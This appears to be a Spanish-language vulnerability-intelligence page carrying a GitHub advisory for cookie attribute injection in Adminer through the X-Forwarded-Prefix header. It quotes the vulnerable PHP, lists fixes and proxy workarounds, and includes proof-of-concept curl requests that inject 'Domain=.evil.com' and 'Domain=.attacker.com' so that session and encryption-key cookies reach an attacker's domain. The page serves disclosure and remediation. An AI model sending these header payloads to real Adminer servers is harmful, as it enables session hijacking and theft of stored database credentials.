llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · vrana/adminer

GHSA-C533-9QWM-8W5H

Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
6.9
Media
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición135 dDesde la divulgación, 9 jul 2026, 6:16 a. m.
Detección134 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Hoy toca orden, no heroísmo.Calma e higiene de parches: mi fórmula secreta.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
9 jul 26
12 ago 26
21 nov 26
9 jul 26
12 ago 26
15 sept 26
18 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-C533-9QWM-8W5H divulgada · CVSS 6.9 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Adminer versions 4.6.0 through at least 5.4.2 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by Adminer.

This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send Adminer's `adminer_sid` (session ID) and `adminer_key` (database password encryption key) cookies to the attacker's server on subsequent requests.

Vulnerable Code

Root cause 1 - Unsanitized header prepended to `REQUEST_URI`
(`adminer/include/bootstrap.inc.php`, lines 40–41):

if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
    $_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}

The client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).

Root cause 2 - Manual `Set-Cookie` header construction without escaping
(`adminer/include/functions.inc.php`, lines 330–339):

function cookie(string $name, ?string $value, int $lifetime = 2592000): void {
    header(
        "Set-Cookie: $name=" . rawurlencode($value)
            . ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
            . "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
            . (HTTPS ? "; secure" : "")
            . "; HttpOnly; SameSite=lax",
        false
    );
}

The tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or escaped, any `;`-separated directives injected via `X-Forwarded-Prefix` become valid cookie attributes parsed by the browser.

Root cause 3 - Session cookie also tainted
(`adminer/include/bootstrap.inc.php`, line 49):

session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);

The PHP session cookie (`adminer_sid`) path is similarly derived from the tainted `REQUEST_URI`, extending the same vulnerability to the session cookie set by PHP itself.

Impact
  • Session hijacking: The `adminer_sid` session cookie is sent to the attacker's domain, allowing full session takeover.
  • Credential theft: The `adminer_key` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
  • Session fixation: An attacker can inject arbitrary `Path`, `SameSite`, and `Secure` attributes, manipulating cookie behavior.
  • Wide applicability: The `X-Forwarded-Prefix` header was specifically added to support reverse proxy deployments (Traefik `PathPrefixStrip`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.
Affected Cookies

| Cookie | Content | Risk |
|--------|---------|------|
| `adminer_sid` | PHP session ID | Session hijacking |
| `adminer_key` | Encryption key for stored DB passwords | Credential theft |
| `adminer_settings` | User preferences | Low (information disclosure) |

Proof of Concept
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminer/index.php | grep -i set-cookie
> Response: Set-Cookie: adminer_key=...; path=/adminer/index.php; HttpOnly; SameSite=lax

# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminer; Domain=.evil.com" \
  http://localhost:8080/adminer/index.php | grep -i set-cookie
> Response: Set-Cookie: adminer_key=...; path=/adminer; Domain=.evil.com/adminer/index.php; HttpOnly; SameSite=lax
#                                                                        ^^^^^^^^^^^^^^^^^^^ INJECTED

# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
  http://localhost:8080/adminer/index.php | grep -i set-cookie
> Response Set-Cookie: adminer_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminer/index.php; ...
Recommended Fix
  1. Sanitize `X-Forwarded-Prefix`: Strip or reject semicolons, newlines, and other HTTP header metacharacters from the `X-Forwarded-Prefix` value before using it.
  2. Use `setcookie()` / `setrawcookie()`: Replace the manual `header("Set-Cookie: ...")` construction in `cookie()` with PHP's built-in `setcookie()` function, which properly escapes attribute values.
  3. Validate `REQUEST_URI` before cookie use: After any prefix manipulation, strip characters that are invalid in a cookie `path` attribute (`;`, `,`, whitespace per RFC 6265).
// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
    $prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
    $_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}
Server Based Workaround Via Config

Configure the reverse proxy to set `X-Forwarded-Prefix` to a static, trusted value rather than forwarding the client-supplied header:

# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminer;  # static value, not $http_x_forwarded_prefix
# Traefik, use middleware instead of client headers:
middlewares:
  strip-prefix:
    stripPrefix:
      prefixes:
        - "/adminer"

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
5.9/ 10Medio
Vector 5.9 (moderada) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
vrana/adminer≥ 4.6.0 ≤ 5.4.2
4.6.0
5.4.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistvrana/adminer
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.